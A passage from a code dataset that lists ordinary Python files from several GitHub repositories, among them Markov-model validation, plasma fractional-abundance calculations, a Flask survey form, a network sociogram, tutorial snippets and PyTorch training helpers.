sleeptime to 0.\n if screen_watch.hour>=10 and screen_watch.hour<21 and sleeptime==1:\n sr=round(last_break/3600,2)\n d ={'id':[screenstamp[1]['id']],'time':[current_date],'variable':[\"screenrest\"],'value':[sr]}\n dataf = pd.DataFrame(data=d)\n data=pd.concat([data,dataf], ignore_index=True)\n sleeptime=0\n return data\n\n\ndef read_data(**kwargs):\n dtypes = {}\n df = pd.read_csv('dataset_mood_smartphone.csv', dtype=dtypes, parse_dates=['time'],**kwargs)\n\n return df\n\n\ndata = read_data()\n\n\nnewdata=(add_data_daily(data))\nnewdata.to_csv('newdata.csv')","repo_name":"giguru/data-mining-techniques","sub_path":"add_data.py","file_name":"add_data.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14948021983","text":"#!/usr/bin/env python\nimport os\nimport sys\n\nimport tempfile\nimport argparse\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom scipy.sparse import coo_matrix\nfrom multiprocessing import Pool\nmpl.style.use(\"ymh.mplstyle\")\n\ndef CKtestRound_subjob_v1(args):\n nStates = args[0]\n indexes = args[1]\n lagStep = args[2]\n vartype = args[3]\n _transitionsDICT = args[4]\n counts = np.zeros((nStates, nStates), dtype=float)\n _transitions = []\n\n for i in indexes:\n _transitions.append(np.row_stack(_transitionsDICT[i]))\n\n transitions = np.hstack(_transitions)\n #print(\"debug\")\n #print(transitions.shape)\n C = coo_matrix((np.ones(transitions.shape[1], dtype=int), transitions),\n shape=(nStates, nStates))\n counts = counts + np.asarray(C.todense())\n\n counts_sum = counts.sum(axis=1)\n counts_sum[counts_sum==0] = 1.0\n counts_i = counts.diagonal()\n TP = counts_i/counts_sum\n return TP\n\ndef CKtestRound_subjob_v2(args):\n nStates = args[0]\n indexes = args[1]\n _coomatrixDICT = args[2]\n counts = np.zeros((nStates, nStates), dtype=float)\n\n for i in indexes:\n C = _coomatrixDICT[i]\n counts = counts + np.asarray(C.todense())\n\n counts_sum = counts.sum(axis=1)\n counts_sum[counts_sum==0] = 1.0\n counts_i = counts.diagonal()\n TP = counts_i/counts_sum\n return TP\n\ndef _transition_counts(sequences, lagTime, nStates):\n none_to_nan = np.vectorize(lambda x: np.nan if x is None else x,\n otypes=[np.float])\n neg_to_nan = np.vectorize(lambda x: np.nan if x < 0 else x,\n otypes=[np.float])\n try:\n classes = np.unique(np.concatenate(sequences))\n except:\n print(\"sequence should not contains None elements!\")\n sys.exit(0)\n\n contains_nan = (classes.dtype.kind == 'f') and np.any(np.isnan(classes))\n contains_none = any(c is None for c in classes)\n contains_negative = any(c<0 for c in classes)\n\n _transitionsDICT, _coomatrixDICT = {}, {}\n\n for i, y in enumerate(sequences):\n y = np.asarray(y)\n fromStates = y[: -lagTime: 1]\n toStates = y[lagTime::1]\n\n if contains_none:\n fromStates = none_to_nan(fromStates)\n toStates = none_to_nan(toStates)\n\n if contains_negative:\n fromStates = neg_to_nan(fromStates)\n toStates = neg_to_nan(toStates)\n\n if contains_nan or contains_none or contains_negative:\n # mask out nan in either from_states or to_states\n mask = ~(np.isnan(fromStates) + np.isnan(toStates))\n fromStates = fromStates[mask]\n toStates = toStates[mask]\n _transitionsDICT[i] = ((fromStates, toStates))\n _transitions = [np.row_stack(_transitionsDICT[i])]\n transitions = np.hstack(_transitions)\n _coomatrixDICT[i] = coo_matrix((np.ones(transitions.shape[1], dtype=int), transitions), shape=(nStates, nStates))\n\n return _transitionsDICT, _coomatrixDICT\n\n\ndef CKtestRound(nc, lagstep, labels, nStates, Thread=1, randomTimes=50):\n nt = len(labels); # number of trajectorys\n randomTPs = np.zeros((nc,randomTimes))\n var_bar =0.5\n\n indexes = []\n labels = np.array(labels)\n\n for i in range(randomTimes):\n index = np.random.choice(np.arange(nt),int(nt*var_bar))\n indexes.append(index)\n _transitionsDICT, _coomatrixDICT = _transition_counts(labels, lagstep, nc)\n # args = [ (nc, index, lagstep, False, _transitionsDICT) for label in indexes ]\n args = [ (nc, index, _coomatrixDICT) for label in indexes ]\n\n p = Pool(Thread)\n\n #CKtestRound_subjob(args[0])\n randomTPs = np.array([CKtestRound_subjob_v2(arg) for arg in args]).T\n #random_TPs = np.array(p.map(CKtestRound_subjob, args)).T\n\n #TP = random_TPs.mean(axis=1)\n #var = random_TPs.var(axis=1)\n TP = CKtestRound_subjob_v2((nc, range(nt), _coomatrixDICT))\n # print(randomTPs, TP.reshape((nc,1)))\n var = np.sqrt(np.sum((randomTPs-TP.reshape((nc,1)))**2/float(randomTimes), axis=1))\n del _transitionsDICT\n return TP, var\n\n\nclass ChapmanKolmogorovTest(object):\n\n def __init__(self, msm, dt, du, outp, nT, nstates, lagtime, pi, nr=3):# lagtime,unit,nc,figp,dt,n_thread,P,nround=3,seqlens=None):\n self.msm = msm\n self.outp = outp\n self.nround = nr\n self.nstates = nstates\n self.lagtime = lagtime\n self.pi = pi\n self.dt = dt\n self.unit = du\n self.MDTP = None\n self.VAR = None\n self.MSMTP = None\n\n self.n_thread = nT\n self._flag = False\n self.LF = False\n\n if not os.path.exists(self.outp):\n os.mkdir(self.outp)\n\n self.MSMTPf = os.path.join(self.outp, \"ProbMSM\")\n self.MDTPf = os.path.join(self.outp, \"ProbMD\")\n self.VARf = os.path.join(self.outp, \"var\")\n\n def CK_MD(self,labels):\n '''\n MD-left\n '''\n self.labels = labels\n nc = self.nstates\n nround = self.nround\n lagtime = self.lagtime\n\n if os.path.exists(self.MDTPf) and os.path.exists(self.VARf):\n self.MDTP,self.VAR = np.loadtxt(self.MDTPf, dtype=float), np.loadtxt(self.VARf, dtype=float)\n return\n\n TPs = np.ones((nc,nround+1))\n Var = np.zeros((nc,nround+1))\n for i in range(1, nround+1):\n print(\"CK-MD round %d/%d\"%(i+1, nround+1))\n lagstep = i * lagtime\n print(i,TPs.shape)\n TPs[:,i],Var[:,i] = CKtestRound(self.nstates, lagstep, labels, self.n_thread)\n\n self.MDTP,self.VAR = TPs, Var\n self._flag = True\n\n def CK_MSM(self,T=None):\n '''\n T -transition_mat\n '''\n outf = os.path.join(self.outp, \"ProbMSM\")\n if os.path.exists(outf):\n self.MSMTP = np.loadtxt(outf)\n self._flag = True\n self.LF = True\n return\n if T is None:\n T = self.msm.transmat_\n\n nc, nround = self.nstates, self.nround\n TPs = np.ones((nc,nround+1))\n\n for j in range(nc):\n T0 = np.zeros(nc)\n T0[j] = 1.0\n for i in range(1,nround+1):\n T0 = np.dot(T,T0)\n TPs[j,i] = T0[j]\n self.MSMTP = TPs\n self._flag = True\n\n def plotv1(self,md,msm,var,title,name):\n fig,ax = plt.subplots()\n if self.unit=='ps':\n x = [self.lagtime*i*self.dt*1.0 for i in range(self.nround+1)]\n elif self.unit=='ns':\n x = [self.lagtime*i*self.dt/1000.0 for i in range(self.nround+1)]\n ax.errorbar(x, md, yerr=var,fmt=\"o\",label='MD',markerfacecolor='none', elinewidth=3.0, c=\"red\",capsize=5)\n ax.scatter(x,md, color=None, edgecolors=\"red\",s=30)\n ax.plot(x, msm, '-', label='MSM',lw=4.0, c=\"blue\")\n ax.set_xlabel('lag time (%s)'%self.unit)\n ax.set_ylabel('residence probability')\n ax.set_title(title)\n #plt.text(x[-1]/2,0.8,title)\n ax.set_ylim((0,1))\n ax.set_xlim(0,x[-1]+self.lagtime*self.dt/4000)\n fig.tight_layout()\n fig.savefig(os.path.join(self.outp,name),dpi=100)\n plt.close()\n\n def plotv2(self,md,msm,var,title,ax):\n if self.unit=='ps':\n lag = self.lagtime*self.dt*1.0\n elif self.unit=='ns':\n lag = self.lagtime*self.dt/1000.0\n else:\n print(\"ERROR: not supported units: %s\"%self.unit)\n x = [lag*i for i in range(self.nround+1)]\n ax.errorbar(x, md, yerr=var, fmt='none', label='MD', elinewidth=2,markersize=10,capsize=10,mfc=None,ecolor=\"red\",color=\"red\")\n #ax.scatter(x, md)\n ax.scatter(x,md,c=\"none\",edgecolors=\"red\",s=50,linewidths =1.5)\n ax.plot(x, msm, '-', label='MSM',lw=3.0, c=\"blue\")\n ymax = max([max(md),max(msm)])\n ax.text(x[-1]/2,1.15,title, verticalalignment='top',horizontalalignment='center')\n\n ax.set_xlim(0-lag/4*3,x[-1]+lag/2)\n if len(x)<=4:\n ax.set_xticks(x)\n else:\n n = len(x)\n ax.set_xticks(x[:n:3])\n #x = [0,x[n-1]/3,x[n-1]/3*2,x[n-1]]\n #ax.set_xticks(x)\n ax.set_yticks(np.arange(0,ymax+0.5,0.5))\n\n def Cktest_plot(self,P,top=10):\n Pf = os.path.join(self.outp,'Populations')\n if os.path.exists(Pf):\n P = np.loadtxt(Pf)\n P = [(i,p) for i,p in enumerate(P)]\n self.P = self.pi\n\n P = sorted(P,key=lambda a:a[-1],reverse=True)\n if not self._flag:\n raise Exception(\"Please do the CKtest first.\")\n #for i in range(top):\n # md = self.MDTP[P[i][0],:]\n # msm = self.MSMTP[P[i][0],:]\n # var = self.VAR[P[i][0],:]\n # title = r'$state=%d,sigma=%.4f$'%tuple(P[i])\n # name = \"%d_%d.pdf\"%(i,P[i][0])\n # self.plotv1(md,msm,var,title,name)\n '''\n if top<10:\n for i in range(len(P)):\n md = self.MDTP[P[i][0],:]\n msm = self.MSMTP[P[i][0],:]\n var = self.VAR[P[i][0],:]\n title = r'P=%.3f'%P[i][1]\n name = \"%d_%d.pdf\"%(i,P[i][0])\n self.plotv1(md,msm,var,title,name)\n return 0\n '''\n fig,axs = plt.subplots(3,3,sharex=True,sharey=True)#,constrained_layout=True)\n fig.set_size_inches(6,5)\n axs = axs.flatten()\n for i,ax in enumerate(axs):\n if i50:\n n = 50\n else:\n n = nStates\n ck.Cktest_plot(populations, top=n)\n # save\n if not ck.LF:\n ck.save()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Aunity/MSMScripts","sub_path":"scripts/CKtestV11.py","file_name":"CKtestV11.py","file_ext":"py","file_size_in_byte":13172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"7879205010","text":"\"\"\" Advent of code 2020 day 10/2 \"\"\"\n\nimport math\nfrom os import path\nfrom functools import reduce\n\n\nclass Code(object):\n def __init__(self, lines):\n self.lines = lines\n\n def calc_jolt_connections(self, lines):\n result = {}\n for i, item in enumerate(lines):\n connections = []\n for nextitem in lines[i+1:i+1+3]: \n # assume that the input is ordered, and there are no duplicates, the possible values are at most in the +3rd index\n diff = nextitem - item\n if diff <= 3: \n # data can be connected to the jolts up to +3 output, if it applies, add the current item to the possibilities\n connections.append(nextitem)\n result[item] = connections\n return result\n\n def solve(self):\n start_jolt = 0\n lines_plus_jolt = [start_jolt, *self.lines]\n num_variations = self.calc_jolt_connections(lines_plus_jolt)\n \n cached_values = {}\n for item in reversed(lines_plus_jolt):\n # calculate possible combinations from the end\n next_items = num_variations[item]\n var_cnt = 1 if len(next_items) == 0 else sum([cached_values.get(x) for x in next_items])\n cached_values[item] = var_cnt\n return cached_values[start_jolt]\n\n\ndef preprocess(raw_data):\n processed_data = sorted(map(int, raw_data.split(\"\\n\")))\n return processed_data\n\n\ndef solution(data):\n \"\"\" Solution to the problem \"\"\"\n lines = preprocess(data)\n solver = Code(lines)\n return solver.solve()\n\n\nif __name__ == \"__main__\":\n with(open(path.join(path.dirname(__file__), 'input.txt'), 'r')) as input_file:\n print(solution(input_file.read()))\n","repo_name":"budavariam/advent_of_code","sub_path":"2020/10_2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"7786257567","text":"# The input() function pauses your program and waits for the user to\n# enter some text\nmessage = input(\"Tell me something, and I will repeat it back to you: \")\nprint(message)\n\n# We can make the program run as long as the user wants by putting most\n# of the program inside a while loop\nprompt = \"\\nTell me something, and I will repeat it back to you:\"\nprompt += \"\\nEnter 'q' to end the program. \"\n\nmessage = \"\"\nwhile message != 'q':\n message = input(prompt)\n\n if message != 'q':\n print(message)\n\n# A new version of the same program, now with a control flag to define\n# whether the program should stop or continue running\nprompt = \"\\nTell me something, and I will repeat it back to you:\"\nprompt += \"\\nEnter 'q' to end the program. \"\n\nactive = True\nwhile active:\n message = input(prompt)\n\n if message == 'q':\n active = False\n else:\n print(message)\n\n","repo_name":"xerifeazeitona/PCC_Basics","sub_path":"chapter_07/examples/1_parrot.py","file_name":"1_parrot.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4738377278","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport csv\n\n# Load the data from the CSV file\nwith open('data/Sociogram survey(1-10).csv', newline='', encoding='utf-8') as csvfile:\n reader = csv.DictReader(csvfile)\n rows = list(reader)\n\n# Create a new graph\nG = nx.Graph()\n\n# Add the nodes to the graph\nfor row in rows:\n G.add_node(row['name'])\n\n# Add the edges to the graph\nfor row in rows:\n name = row['name']\n for work_well in row['work_well'].split(','):\n work_well = work_well.strip()\n if work_well != '':\n if row['not_work_well'] != '':\n not_work_well = row['not_work_well'].split(',')\n not_work_well = [s.strip() for s in not_work_well]\n if name in not_work_well and work_well in not_work_well:\n G.add_edge(name, work_well, color='red')\n elif name in not_work_well:\n G.add_edge(name, work_well, color='orange')\n else:\n other_row = [r for r in rows if r['name'] == work_well][0]\n other_work_well = [s.strip() for s in other_row['work_well'].split(',')]\n if name in other_work_well:\n G.add_edge(name, work_well, color='green')\n else:\n G.add_edge(name, work_well, color='blue')\n else:\n G.add_edge(name, work_well, color='blue')\n\n# Draw the graph with different colors for edges representing different relationships\npos = nx.spring_layout(G)\n\n# Draw nodes and labels\nnx.draw_networkx_nodes(G, pos, node_color='lightblue', node_size=1000)\nnx.draw_networkx_labels(G, pos, font_size=12, font_family='Arial')\n\n# Draw edges with different colors\nfor edge_color, edges_list in [('green', []), ('blue', []), ('orange', []), ('red', [])]:\n for u, v in G.edges():\n if G[u][v]['color'] == edge_color:\n edges_list.append((u, v))\n nx.draw_networkx_edges(G, pos, edgelist=edges_list, edge_color=edge_color)\n\nplt.axis('off')\nplt.show()\n\n\n\n# If both nodes work well together, the 'color' attribute is set to 'green'\n# If only one node works well with the other, the 'color' attribute is set to 'blue'\n# If one node does not work well with the other, the 'color' attribute is set to 'orange'\n# If both nodes do not work well with each other, the 'color' attribute is set to 'red'","repo_name":"asw615/connected","sub_path":"app/static/py/sociogram.py","file_name":"sociogram.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40548200590","text":"from flask import Flask, render_template, request, redirect, flash, session\napp = Flask(__name__)\napp.secret_key = 'KeepItSecretKeepItSafe'\n\n@app.route('/')\ndef index():\n if 'comment' not in session:\n session['comment'] = \"\"\n if 'thename' not in session:\n session['thename'] = \"\"\n return render_template(\"index.html\", comm = session['comment'], nom = session['thename'])\n@app.route('/result', methods=['POST'])\ndef create_user():\n if len(request.form['thename']) < 1:\n flash(\"Name cannot be empty!\") \n session['comment'] = request.form['comment']\n return redirect('/')\n if len(request.form['comment']) < 1:\n flash(\"Comment cannot be empty!\") \n session['thename'] = request.form['thename']\n return redirect('/') \n if len(request.form['comment']) >120:\n session['comment'] = request.form['comment']\n session['thename'] = request.form['thename'] \n flash(\"Comment cannot be longer than 120 characters\")\n return redirect('/')\n session['thename'] = request.form['thename']\n session['sel1'] = request.form['sel1']\n session['sel2'] = request.form['sel2']\n session['comment'] = request.form['comment']\n return render_template('indexresult.html', thename = session['thename'], sel1 = session['sel1'], sel2= session['sel2'], comment = session['comment'])\n@app.route('/danger')\ndef alert():\n print(\"a user tried to visit /danger. we have redirected the user to /\")\n return redirect('/')\n@app.route('/back')\ndef back():\n session.clear()\n return redirect('/')\nif __name__==\"__main__\":\n # run our server\n app.run(debug=True) ","repo_name":"dcsheive/Flask-Fundamentals","sub_path":"surveyV/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2602514589","text":"import numpy as np\nimport os\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom scipy import interpolate\nfrom concurrent.futures import ThreadPoolExecutor\nimport time\nimport re\nimport numba\nfrom numba.core import types\nfrom numba.typed import Dict\nfrom pathlib import Path\n\nfloat_array = types.float64[:, :]\n\n\nplt.rcParams[\"figure.figsize\"] = [10.5, 0.65 * 10.5]\n\n\nclass FractionalAbundance:\n def __init__(\n self,\n element,\n concurrent=False,\n path_to_data=r\"C:\\Users\\marci\\Desktop\\Projekt NCN\\Zadania\\1.Styczeń\\Fractional_Abundance\\data\\unresolved\",\n ):\n\n \"\"\"\n\n Parameters\n ----------\n element\n concurrent\n path_to_data\n \"\"\"\n\n self.element = element\n self.path_to_data = path_to_data\n self.ACD_file, self.SCD_file = self.select_files()\n\n (\n self.Z,\n self.num_of_Ne_axes,\n self.num_of_Te_axes,\n self.num_of_lines_to_read_with_axes,\n self.sum_of_axes,\n ) = self.read_first_line_of_file(self.SCD_file)\n self.Te, self.Ne = self.read_axes(self.SCD_file)\n\n self.empty_matrix = np.empty([self.num_of_Te_axes, self.num_of_Ne_axes])\n self.num_of_lines_to_read_with_const_Te = int(np.ceil(self.num_of_Ne_axes / 8))\n self.start_line = int(np.ceil(self.sum_of_axes / 8)) + 3\n self.stop_line = (\n self.start_line\n + self.num_of_lines_to_read_with_const_Te * self.num_of_Te_axes\n )\n self.move = self.stop_line - self.start_line + 1\n\n self.FA_arr = []\n self.Ne_new, self.Te_new = np.logspace(10, 15, num=100), np.logspace(\n np.log10(5), np.log10(20000), num=800\n )\n\n self.ACD_matrix, self.SCD_matrix = self.read_coefficients_matrices(\n self.ACD_file, type=\"ACD\"\n ), self.read_coefficients_matrices(self.SCD_file, type=\"SCD\")\n self.product_all, self.sum_all = self.calculate_cum_sum_prod(\n self.SCD_matrix, self.ACD_matrix, self.Z\n )\n self.K = self.calculate_K()\n\n if not concurrent:\n self.FA_arr = [\n self.get_Fractional_Abundance(\n ion=ion,\n product_all=np.array(self.product_all),\n sum_all=np.array(self.sum_all),\n )\n for ion in range(self.Z + 1)\n ]\n else:\n self.calculate()\n\n def select_files(self):\n \"\"\"\n\n Returns\n -------\n\n \"\"\"\n path_to_data = Path(self.path_to_data)\n ACD_file_path = list(\n path_to_data.glob(\"acd??_{}*.dat\".format(self.element.lower()))\n )[0]\n SCD_file_path = list(\n path_to_data.glob(\"scd??_{}*.dat\".format(self.element.lower()))\n )[0]\n return ACD_file_path, SCD_file_path\n\n def read_first_line_of_file(self, filepath):\n \"\"\"\n\n Parameters\n ----------\n filepath\n\n Returns\n -------\n\n \"\"\"\n with open(filepath) as file:\n first_line = file.readline().strip().split()\n Z, num_of_Ne_axes, num_of_Te_axes = (\n int(first_line[0]),\n int(first_line[1]),\n int(first_line[2]),\n )\n sum_of_axes = num_of_Te_axes + num_of_Ne_axes\n num_of_lines_to_read_with_axes = int(np.ceil(sum_of_axes / 8))\n return (\n Z,\n num_of_Ne_axes,\n num_of_Te_axes,\n num_of_lines_to_read_with_axes,\n sum_of_axes,\n )\n\n def read_axes(self, filepath):\n \"\"\"\n\n Parameters\n ----------\n filepath\n\n Returns\n -------\n\n \"\"\"\n (\n Z,\n num_of_Ne_axes,\n num_of_Te_axes,\n num_of_lines_to_read_with_axes,\n sum_of_axes,\n ) = self.read_first_line_of_file(filepath)\n\n with open(filepath) as file:\n file.readline()\n file.readline()\n data = []\n while num_of_lines_to_read_with_axes > 0:\n for item in file.readline().strip().split():\n data.append(item)\n num_of_lines_to_read_with_axes -= 1\n\n Ne = [10 ** float(item) for item in data[:num_of_Ne_axes]]\n Te = [10 ** float(item) for item in data[num_of_Ne_axes:]]\n return Te, Ne\n\n def read_data_from(\n self,\n filepath,\n start_line,\n stop_line,\n num_of_lines_to_read_with_const_Te,\n empty_matrix,\n ):\n \"\"\"\n\n Parameters\n ----------\n filepath\n start_line\n stop_line\n num_of_lines_to_read_with_const_Te\n empty_matrix\n\n Returns\n -------\n\n \"\"\"\n\n with open(filepath) as file:\n data = np.array(\n [\n item.split()\n for item in file.read().strip().splitlines()[start_line:stop_line]\n ],\n dtype=object,\n )\n data = np.split(data, 1)\n iter = 0\n for i in range(0, int(len(data[0])), num_of_lines_to_read_with_const_Te):\n line_data = np.array([])\n for j in range(num_of_lines_to_read_with_const_Te):\n line_data = np.concatenate((line_data, data[0][i + j]))\n empty_matrix[iter, :] = line_data\n iter += 1\n\n f = interpolate.interp2d(\n self.Ne, self.Te, empty_matrix.astype(np.float64), kind=\"cubic\"\n )\n\n return f(self.Ne_new, self.Te_new)\n\n def read_coefficients_matrices(self, filepath, type):\n \"\"\"\n\n Parameters\n ----------\n filepath\n type\n\n Returns\n -------\n\n \"\"\"\n\n CD = Dict.empty(key_type=types.unicode_type, value_type=float_array)\n\n if type == \"SCD\":\n for i in range(self.Z):\n CD[str(i) + str(i + 1)] = self.read_data_from(\n filepath,\n self.start_line + i * self.move,\n self.stop_line + i * self.move,\n self.num_of_lines_to_read_with_const_Te,\n self.empty_matrix.copy(),\n )\n elif type == \"ACD\":\n for i in range(self.Z):\n CD[str(i + 1) + str(i)] = self.read_data_from(\n filepath,\n self.start_line + i * self.move,\n self.stop_line + i * self.move,\n self.num_of_lines_to_read_with_const_Te,\n self.empty_matrix.copy(),\n )\n return CD\n\n def calculate_K(self):\n K = [np.divide(10 ** self.SCD_matrix[str(i) + str(i + 1)],10 ** self.ACD_matrix[str(i + 1) + str(i)]) for i in range(self.Z)]\n K.insert(0, np.ones_like(K[0]))\n return np.array(K)\n\n\n @staticmethod\n @numba.njit(parallel=True)\n def calculate_cum_sum_prod(SCD_matrix, ACD_matrix, Z):\n \"\"\"\n\n Parameters\n ----------\n SCD_matrix\n ACD_matrix\n Z\n\n Returns\n -------\n\n \"\"\"\n K = [\n np.divide(\n 10 ** SCD_matrix[str(i) + str(i + 1)],\n 10 ** ACD_matrix[str(i + 1) + str(i)],\n )\n for i in range(Z)\n ]\n\n K.insert(0, np.ones_like(K[0]))\n\n product_all = [K[0]]\n current_product = K[0]\n sum_all = np.zeros_like(K[0])\n for i in range(1, len(K)):\n current_product = np.multiply(K[i], current_product)\n sum_all += current_product\n product_all.append(current_product)\n\n return product_all, sum_all\n\n @staticmethod\n @numba.njit(parallel=True)\n def get_Fractional_Abundance(ion, product_all, sum_all):\n \"\"\"\n\n Parameters\n ----------\n ion\n product_all\n sum_all\n\n Returns\n -------\n\n \"\"\"\n FA = np.divide(product_all[ion], sum_all)\n return FA\n\n def plot_FA_all(self, index_Ne=50):\n \"\"\"\n\n Parameters\n ----------\n index_Ne\n\n Returns\n -------\n\n \"\"\"\n for i in range(self.Z+1):\n x = self.Te_new\n y = self.FA_arr[i][:, index_Ne]\n plt.plot(x, y, label=\"$\" + self.element + \"^{\" + str(i) + \"+}$\")\n plt.xscale(\"log\")\n plt.yscale(\"log\")\n plt.ylim((10**-3, 10**0))\n plt.xlim((5, 20000))\n plt.grid()\n plt.title(\n \"Fractional Abundance of \"\n + self.element\n + \" in $N_{e}$ = \"\n + \"{:.2e}\".format(self.Ne_new[index_Ne])\n + \" $cm^{-3}$\",\n fontsize=16,\n )\n plt.xlabel(\"$T_{e}$ [eV]\", fontsize=16)\n plt.ylabel(\"FA\", fontsize=16)\n\n plt.show()\n\n def worker(self, ion, product_all, sum_all):\n \"\"\"\n\n Parameters\n ----------\n ion\n product_all\n sum_all\n\n Returns\n -------\n\n \"\"\"\n fun = self.get_Fractional_Abundance(\n ion=ion, product_all=np.array(product_all), sum_all=np.array(sum_all)\n )\n return fun\n\n def calculate(self):\n \"\"\"\n\n Returns\n -------\n\n \"\"\"\n ion_list = list(range(self.Z + 1))\n pool = ThreadPoolExecutor(self.Z + 1)\n pp = [\n pool.submit(\n self.worker, ion=ion, product_all=self.product_all, sum_all=self.sum_all\n )\n for ion in range(len(ion_list))\n ]\n for p in pp:\n self.FA_arr.append(p.result())\n\n def create_dataset(self, output_filepath=\".\", filename=\"fractional_abundance.dat\"):\n columns = [\"T\"]\n for Z in range(self.Z):\n columns.append(\"Z{}\".format(Z + 1))\n FA_output_df = pd.DataFrame(columns=columns)\n for i in range(self.Z):\n FA_output_df[columns[i + 1]] = self.FA_arr[i + 1][:, 40] * 100\n FA_output_df[\"T\"] = self.Te_new\n FA_output_df.to_csv(\n os.path.join(output_filepath, filename), sep=\" \", index=False\n )\n\n\nif __name__ == \"__main__\":\n path_to_data = r\"C:\\Users\\marci\\Desktop\\Projekt NCN\\Zadania\\1.Styczeń\\Fractional_Abundance\\data\\unresolved\"\n FA = FractionalAbundance(element=\"He\", concurrent=True, path_to_data=path_to_data)\n FA.plot_FA_all()\n\n\n","repo_name":"MKastek/Numba-tutorial","sub_path":"codes/FractionalAbundance.py","file_name":"FractionalAbundance.py","file_ext":"py","file_size_in_byte":10491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37772430011","text":"import __main__ as main\nfrom Helper.TimerLogger import CodeTimeLogging\nfileName = main.__file__\nfileName = fileName.split('\\\\')[-1]\n\nCodeTimeLogging(Flag='F', filename=fileName, Tag='Dynamic-Programing', Difficult='Medium')\n\n# formula:\n# points = [A1, A2, ....., An]\n# [Ai, Aj]\n\n# option1 = Ai + min(dp[i + 2][j],\n# dp[i + 1][j - 1])\n\n# option2 = Aj + min(dp[i + 1][j - 1],\n# dp[i][j - 2])\n\n# dp[i][j] = max(option2, option1)\n\n\ndef optimalGame(points):\n n = len(points)\n dp = [[points[i] if i == j else -1 for i in range(n)]for j in range(n)]\n\n for i in range(n):\n for j in range(n):\n if i > j:\n dp[i][j] = 0\n\n for length in range(n):\n for j in range(length, n):\n i = j - length\n x = 0\n if i + 2 <= j:\n x = dp[i + 2][j]\n y = 0\n if i + 1 <= j - 1:\n y = dp[i + 1][j - 1]\n z = 0\n if i <= j - 2:\n z = dp[i][j - 2]\n option1 = points[i] + min(x, y)\n option2 = points[j] + min(y, z)\n dp[i][j] = max(option2, option1)\n [print(x) for x in dp]\n\n\npoints = [3, 9, 1, 2]\nprint(optimalGame(points))\n\n# [3, 9, 4, 11]\n# [0, 9, 9, 10]\n# [0, 0, 1, 2]\n# [0, 0, 0, 2]\n","repo_name":"Omkar02/FAANG","sub_path":"DP_24_OptimalStrategyGame.py","file_name":"DP_24_OptimalStrategyGame.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"35167353241","text":"'''\r\n The related to training functions\r\n'''\r\n\r\nfrom random import shuffle\r\nimport shutil\r\nimport os\r\n\r\nimport numpy as np\r\nimport math\r\n\r\nimport torch\r\nfrom torch import optim\r\nfrom torch import nn\r\nfrom torch.utils.data import DataLoader\r\nimport torch.nn.functional as F\r\n\r\nfrom sklearn.metrics import roc_curve, auc\r\n\r\nfrom torchvision.transforms import Compose\r\n\r\nfrom skimage import io\r\n\r\nfrom skimage.morphology import remove_small_objects, remove_small_holes, label\r\nfrom skimage.measure import find_contours\r\nfrom scipy.ndimage import distance_transform_edt\r\nfrom skimage.morphology import watershed\r\n\r\nfrom torch.utils.tensorboard import SummaryWriter\r\n\r\nEPS = 1E-6\r\ndef dice(im1, im2):\r\n \"\"\"\r\n Computes the Dice coefficient, a measure of set similarity.\r\n Parameters\r\n ----------\r\n im1 : array-like, bool\r\n Any array of arbitrary size. If not boolean, will be converted.\r\n im2 : array-like, bool\r\n Any other array of identical size. If not boolean, will be converted.\r\n Returns\r\n -------\r\n dice : float\r\n Dice coefficient as a float on range [0,1].\r\n Maximum similarity = 1\r\n No similarity = 0\r\n\r\n Notes\r\n -----\r\n The order of inputs for `dice` is irrelevant. The result will be\r\n identical if `im1` and `im2` are switched.\r\n \"\"\"\r\n im1 = np.asarray(im1).astype(np.bool)\r\n im2 = np.asarray(im2).astype(np.bool)\r\n\r\n if im1.shape != im2.shape:\r\n raise ValueError(\r\n \"Shape mismatch: im1 and im2 must have the same shape.\")\r\n\r\n # Compute Dice coefficient\r\n intersection = np.logical_and(im1, im2)\r\n\r\n return 2. * (intersection.sum()+EPS) / (im1.sum() + im2.sum() + EPS)\r\n\r\ndef normalize(im):\r\n im_min, im_max = np.min(im), np.max(im)\r\n return (im - im_min) / (im_max - im_min)\r\n\r\ndef write_output(ims, name, path='./', norm=True):\r\n os.makedirs(path, exist_ok=True)\r\n path_ = os.path.join(path, name)\r\n for idx, im in enumerate(ims):\r\n if type(im) is torch.Tensor:\r\n im = im.cpu().numpy()\r\n fname = path_ + str(idx) + '.png'\r\n im = normalize(im) if norm else im\r\n io.imsave(fname, im)\r\n\r\ndef post_light(mask):\r\n mask = remove_small_objects(mask > 0.5, 10)\r\n mask = remove_small_holes(mask, 1000)\r\n return mask\r\n\r\ndef load_checkpoint(resume_path, model, optimizer):\r\n if os.path.isfile(resume_path):\r\n print('loading checkpoint: {}'.format(resume_path))\r\n checkpoint = torch.load(resume_path)\r\n epoch_start = checkpoint['epoch']\r\n best_loss = checkpoint['best_loss']\r\n model.load_state_dict(checkpoint['state_dict'])\r\n optimizer.load_state_dict(checkpoint['optimizer'])\r\n print(\"=> loaded checkpoint (epoch {})\"\r\n .format(checkpoint['epoch']))\r\n else:\r\n print(\"=> no checkpoint found at '{}'\".format(resume_path))\r\n return best_loss, epoch_start\r\n\r\ndef save_checkpoint(states, path, filename='model_latest'):\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n # 